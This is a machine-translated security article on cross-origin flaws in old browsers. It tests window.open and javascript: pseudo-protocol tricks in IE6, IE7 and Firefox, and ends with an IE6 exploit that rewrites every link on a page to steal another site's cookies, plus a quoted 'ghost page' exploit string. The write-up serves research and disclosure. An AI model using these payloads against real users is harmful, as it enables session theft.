Analysis of cross-origin browser security issues

Source: IT expert network
Manuel Caballero discussed the "A resident in my domain" issue at the bluehat conference, literally meaning that it resides in its own domain, later, a domestic security researcher wrote some related content on the blog. During this time, he has been discussing this issue with friends in the HI group. Everyone is referred to as Ghost pages, this ghost page is amazing and can follow every page you browse. Inspired by ghost pages, I also tested cross-origin browser security issues.

1. Requests from pseudo-Protocols

In JavaScript, window objects are frequently used. Window objects represent browser windows. Let's test the open method of window objects and try to execute pseudo protocols for new windows. Build a web server on the local machine and start the following experiment:

Use various browsers to browse http: // 127.0.0.1/test.htm. The following is the script content of test.htm: <SCRIPT>
X = Window. Open ('about: blank ');
X. Location = "javascript: Alert (document. domain )"
</SCRIPT>

　　Result:

IE6: the pseudo protocol is executed and the domain in the pop-up window is 127.0.0.1.

IE7: the pseudo protocol is executed and the domain in the pop-up window is 127.0.0.1.

Firefox: the pseudo protocol is executed and no field is considered null.

Firefox may also have a bug in this interface. Firefox does not identify the domain in the pop-up window of the IP address, but it still identifies the domain when the domain name is actually bound.

For the convenience of the following parts, I will give the relationship of the pop-up window to the short name. The original window is called the parent page, and the pop-up window is called the Child page. After the experiment, we have proved that: both the Parent and Child pages are in the same domain. The parent page can redirect the URL address of the Child page and even execute pseudo protocol.

2. Relationship between parent and child pages

If the parent page allows the child page to access other domains, will the Parent and Child pages be out of relationship?

Continue the test. Use Each browser to browse http: // 127.0.0.1/test2.htm. The following is the script of test2.htm.

Content: <SCRIPT>
X = Window. Open ('about: blank ');
X. Location = "http://www.163.com" // visit 163 website
SetTimeout (function (){
X. Location = "http: // 127.0.0.1 ";
}, 5000) // redirect to 127.0.0.1 in 5 seconds
</SCRIPT>

In this experiment, IE6, IE7, and Firefox are all consistent. The result is that the sub-page accesses 163 of the website, and then jumps back to 127.0.0.1 in five seconds.

Therefore, even if the child page accesses other domains, it will still be controlled by the parent page.

3. Relationship between domains

If the parent page allows a subpage to access a domain and then execute the pseudo protocol, what will happen?

Use various browsers to browse http: // 127.0.0.1/test3.htm. The following is the script content of test3.htm: <SCRIPT>
X = Window. Open ('about: blank ');
X. Location = "http://www.163.com"
SetTimeout (function (){
X. Location = "javascript: Alert (document. Cookie )";
}, 5000)
</SCRIPT>

Result:

IE6: no response.

IE7: an error is reported. access is denied.

Firefox: an error is returned. Alert is not defined.

This information clearly indicates that if the child and parent pages are not in the same domain, the browser does not allow the parent page to control the child pages to execute pseudo protocol scripts.

For further verification, let the subpage open the Page Test in the same domain:

Use various browsers to browse http: // 127.0.0.1/test4.htm. The following is the script content of test4.htm: <SCRIPT>
Document. Cookie = 'xss: true' // set a cookie for this domain to XSS: True
X = Window. Open ('about: blank ');
X. Location = "http: // 127.0.0.1"
SetTimeout (function (){
X. Location = "javascript: Alert (document. Cookie )";
}, 5000)
</SCRIPT>

Result IE6, IE7, and Firefox both show the cookie values. If the child and parent pages are in the same domain, the Browser allows the parent page to control subpages to execute pseudo-Protocol scripts.

4. Security differences

The subtle relationship between the parent page and the Child page begins to cause security problems. When analyzing the ghost page, security researchers give Exp:

Javascript: x = open ('HTTP: // hackademix.net/'); setinterval (function () {try {X. frames [0]. location = {tostring: function () {return 'HTTP: // www.sirdarckcat.net/caballero-listener.html'{}catch (e) {}, 5000); void (1 );

Exp is interpreted as follows:

The parent page is a domain, and the parent page refers to the Child page that accesses a page with a framework in the B domain. The parent page can control the URL address of the Framework in the B domain page, this is a typical cross-origin operation.

The key to the Cross-origin operating framework of ghost pages is that the window. Frames [0] method is not restricted by the domain. The second is to make the address specified by location look like an object rather than a parameter.

Based on the ghost page idea, we continue to test on Part 1 and use the address specified by location to process it with the new string () object.

Use various browsers to browse http: // 127.0.0.1/test5.htm. The following is the script content of test5.htm: <SCRIPT>
X = Window. Open ('about: blank ');
X. Location = "http://www.163.com ";
SetTimeout (function (){
X. Location = new string ("javascript: Alert (document. Cookie )")
}, 5000)
</SCRIPT>

IE6: the cookie is displayed.

IE7: an error is reported. access is denied.

Firefox: an error is returned. Alert is not defined.

The result is that the cookie pops up miraculously in IE6, And we execute the script across domains.

5. catastrophic consequences

Here we have found a 0-day IE6. To some extent, this cross-domain security problem is disastrous, as shown below:

　　Exp:<A href = ""> IE6 Cross Domain Scripting </a>
<SCRIPT>
Function win (){
X = Window. Open ('HTTP: // www.phpwind.net ');
SetTimeout (function (){
X. Location = new string ("javascript: Alert (document. Cookie )")
}, 3000)
}
Window. onload = function (){
For (I = 0; I <document. Links. length; I ++ ){
Document. Links [I]. href = "javascript: Win ()"
}
}
</SCRIPT>

Click the link and immediately obtain the phpwind Forum cookie. This means that hackers can obtain the cookie of any website you have visited through similar attacks and hijack your session.

Such a vulnerability is equivalent to an XSS vulnerability without domain restrictions and is almost impossible to defend against. Websites can only further enhance client session security, for example, you can use SSL to encrypt connections, set secure cookies with HTTPOnly parameters, and add watermarks to sensitive request operations.

6. Summary

The essence of this cross-domain security problem is that the browser has some omissions in processing window object operations, and does not consider the changes after window object operations with inheritance relationships between different domains, only some method parameters of the window object are restricted by similar data types, resulting in the last bypassing of the restriction cross-domain execution of scripts.

From this vulnerability, we can also see some new security features of IE7. Through the window object operation of the inheritance relationship, we can execute the script pseudo Protocol across regions and finally judge the domain, IE7 has started to defend against similar attacks.

However, this does not solve the cross-origin security issue in essence. IE7 only prevents cross-origin execution scripts and allows other cross-origin operations, therefore, ghost pages can be used to operate the framework URL across regions in IE7, but Firefox does not have the same problem. This shows that there are many differences in the security considerations of different browsers.

For IE, I tested other object methods and found that many of them are restricted, but it is not ruled out that the same problem exists. In a similar way, you can continue to explore some cross-origin vulnerabilities in the browser.

　　Reference

[1] browser's Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html

[2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/